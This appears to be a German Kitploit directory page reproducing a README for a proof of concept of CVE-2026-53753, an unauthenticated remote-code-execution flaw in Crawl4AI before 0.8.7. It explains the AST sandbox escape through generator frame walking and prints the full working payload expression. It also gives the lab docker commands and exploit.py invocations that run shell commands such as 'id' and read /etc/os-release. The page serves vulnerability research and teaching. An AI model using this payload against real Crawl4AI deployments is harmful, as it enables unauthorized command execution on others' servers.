Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-53753-Crawl4AI-RCE — CVE-2026-53753 — Crawl4AI <0.8.7 nicht authentifizierte RCE (AST-Sandbox-Escape via gi_frame.f_back). Lab + PoC, e2e verifiziert. | Kitploit
Tools/GitHubGitHub/biitts/cve-2026-53753-crawl4ai-rce
Statische AnalyseDynamische Analyse (Sandboxing)SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungPayload-Entwicklung
Labs & Praxis
GitHubbiitts/cve-2026-53753-crawl4ai-rce

CVE-2026-53753-Crawl4AI-RCE

CVE-2026-53753 — Crawl4AI <0.8.7 nicht authentifizierte RCE (AST-Sandbox-Escape via gi_frame.f_back). Lab + PoC, e2e verifiziert.

Repository anzeigen
18vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-53753 — Crawl4AI Unautorisierte Remote-Code-Ausführung (AST-Sandbox-Escape)

Pre-Authentifizierungs-RCE in Crawl4AI < 0.8.7. Ein manipulatives JsonCssExtractionStrategy-Schema, das an den nicht authentifizierten POST /crawl Endpunkt gesendet wird, erreicht den Auswerter für berechnete Felder (_safe_eval_expression), umgeht dessen AST-Allow-List über Python-Frame-Objekte, erreicht die echten builtins und führt __import__('os').popen(<cmd>).read() aus – die Ausgabe des Befehls wird im gleichen Zug in der JSON-Antwort zurückgegeben.

CVECVE-2026-53753
AdvisoryGHSA-qxjp-w3pj-48m7
BetroffenCrawl4AI <= 0.8.6
Behoben0.8.7
KlasseCWE-94 (Code Injection) / Python-Sandbox-Escape
CVSS 3.19.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AuthKeine — ausgelieferte Konfiguration hat jwt_enabled: false
StatusBESTÄTIGT — End-to-End gegen das offizielle unclecode/crawl4ai:0.8.6-Image reproduziert

Inhaltsverzeichnis

  1. Ursache
  2. Aufbau des Payloads, Zeile für Zeile
  3. Warum der Frame-Walk die echten builtins erreicht
  4. Laboraufbau
  5. Ausführen des Exploits
  6. Erwartete Ausgabe
  7. Rohe HTTP-Anfrage
  8. Fehlerbehebung
  9. Auswirkungen / Abhilfe / Erkennung
  10. Validierung

Tiefergehende Analyse: siehe ANALYSIS.md für einen Knoten-für-Knoten-AST-Durchlauf, den Laufzeit-Frame-Stack, den Anfragedatenfluss und den Patch-Diff.


1. Ursache

crawl4ai/extraction_strategy.py lässt ein Extraktionsschema berechnete Felder definieren – kleine Python-Ausdrücke, die pro extrahiertem Element ausgewertet werden. Sie werden von _safe_eval_expression() ausgeführt, das versucht, den Ausdruck mit einer AST-Allow-List und reduzierten __builtins__ zu sandboxen:

# crawl4ai/extraction_strategy.py  (v0.8.6)
for node in ast.walk(tree):
    if isinstance(node, (ast.Import, ast.ImportFrom)):
        raise ValueError("Import statements are not allowed in expressions")
    # Block dunder attribute access, e.g. __class__, __globals__
    if isinstance(node, ast.Attribute) and node.attr.startswith("_"):
        raise ValueError(f"Access to private/dunder attribute '{node.attr}' is not allowed")
    if isinstance(node, ast.Call):
        func = node.func
        if isinstance(func, ast.Name) and func.id.startswith("_"):
            raise ValueError(...)
        if isinstance(func, ast.Attribute) and func.attr.startswith("_"):
            raise ValueError(...)

safe_globals = {"__builtins__": _SAFE_EVAL_BUILTINS}   # no __import__, no eval, no open
return eval(compile(tree, "<expression>", "eval"), safe_globals, local_vars)

Der Validator ist Verweigerung-nach-Präfix: Er lehnt nur Namen ab, die mit _ beginnen (zusätzlich zu import). Diese einzelne Heuristik bildet die gesamte Sandbox – und sie hat drei Lücken, die sich zu einem vollständigen Escape kombinieren:

#LückeWarum es wichtig ist
1gi_frame, f_back, f_builtins beginnen nicht mit _Die gesamte Python-Frame/Generator-Introspektionsoberfläche ist erreichbar.
2obj['__import__'] ist ein ast.Subscript, kein ast.AttributeDer Validator prüft keine Dict-Subscript-Schlüssel, daher passiert der Dunder-Schlüssel __import__.
3Die f_back-Kette eines laufenden Generators führt zu einem äußeren Frame, dessen f_builtins die echten builtins sindUmgeht die reduzierten _SAFE_EVAL_BUILTINS zurück zu den vollständigen (__import__ etc.).

Das Schema erreicht diese Funktion ohne Authentifizierung: Die Docker-API liefert security.jwt_enabled: false aus, daher ist die /crawl-Token-Abhängigkeit lambda: None.

2. Aufbau des Payloads, Zeile für Zeile

Der Ausdruck für das berechnete Feld ist:

(lambda: (
    (g := (g.gi_frame.f_back.f_back.f_back.f_builtins['__import__'](https://github.com/biitts/cve-2026-53753-crawl4ai-rce/blob/main/%27os%27).popen('id').read()
           for i in [1])),
    list(g)
)[-1])()

Teil für Teil gelesen:

FragmentRolleWarum der Validator es erlaubt
(lambda: ... )()Erstellt einen Funktionsbereich, sodass der Walrus-gebundene Name in einer Closure-Zelle lebt.ast.Lambda wird nicht geprüft.
g := ( <expr> for i in [1])Bindet den Generator an g und der Generatorrumpf referenziert g (sich selbst).:= und Generatorausdrücke werden nicht geprüft. (Walrus ist in einem Comprehension-Iterable illegal, daher wird er stattdessen in ein Tupel-Element platziert.)
list(g)Treibt den Generator an – sodass sein Frame live ist, wenn der Rumpf ausgeführt wird.list ist in den sicheren builtins.
g.gi_frameDas Frame-Objekt des Generators.gi_frame beginnt nicht mit _.
.f_back.f_back.f_backGeht drei Frames hoch zu einem mit den echten builtins.f_back beginnt nicht mit _.
.f_builtinsDie builtins-Zuordnung dieses Frames (die echte).f_builtins beginnt nicht mit _.
['__import__']Holt __import__ aus dem builtins-Dict.Dict-Subscript – wird nie überprüft.
('os')__import__('os') → das os-Modul.Das Aufrufziel ist ein Subscript, kein Name/Attribute.
.popen('id').read()Führt den Befehl aus und gibt dessen stdout zurück.popen/read beginnen nicht mit _.

Da der Wert des Generators os.popen(cmd).read() ist, wird die stdout des Befehls zum Feldwert und in der /crawl-Antwort zurückgespiegelt – ein In-Band-Orakel, kein OAST erforderlich.

3. Warum der Frame-Walk die echten builtins erreicht

Während list(g) den Generator durchläuft, sieht der Call-Stack so aus:

frame: _safe_eval_expression()      <-- echte builtins  (__import__ lebt hier)   ← f_back ×3
   └ frame: <expression> (eval)     <-- gesandboxte builtins (_SAFE_EVAL_BUILTINS)  ← f_back ×2
        └ frame: <lambda>           <-- gesandboxt                                 ← f_back ×1
             └ frame: <genexpr> g   <-- LAUFEND; g.gi_frame ist dieses Frame       ← gi_frame

g.gi_frame.f_back ist nur gefüllt, während der Generator läuft (deshalb muss der Generator sich selbst referenzieren und von list(g) angetrieben werden – ein noch nicht gestarteter Generator hat f_back is None). Das dreimalige Durchlaufen von f_back landet auf dem _safe_eval_expression-Frame, dessen f_builtins das vollständige builtins-Modul ist – aus dem __import__ per Subscript gezogen wird.

Die Frametiefe ist für diesen Codepfad stabil: f_back × 3 ist korrekt für Crawl4AI 0.8.6's _safe_eval_expression.

4. Laboraufbau

Das offizielle Image liefert die angreifbare Standardkonfiguration (keine Authentifizierung) aus:

# Option A — docker compose (normaler Docker-Host mit Bridge-Netzwerk)
docker compose -f lab/docker-compose.yml up -d

# Option B — einfacher docker run
docker run -d --name crawl4ai-vuln -p 11235:11235 --shm-size=1g unclecode/crawl4ai:0.8.6

Warten Sie ~20 s, bis der Browser-Pool warm ist (docker logs crawl4ai-vuln → Application startup complete).

5. Ausführen des Exploits

# Den Anfragekörper inspizieren, ohne ihn zu senden:
python3 exploit.py http://127.0.0.1:11235 -c "id" --print-payload

# Ausführen (die stdout des Befehls kommt in der Antwort zurück):
python3 exploit.py http://127.0.0.1:11235 -c "id; uname -a; cat /etc/os-release | head -1"
Tool herunterladen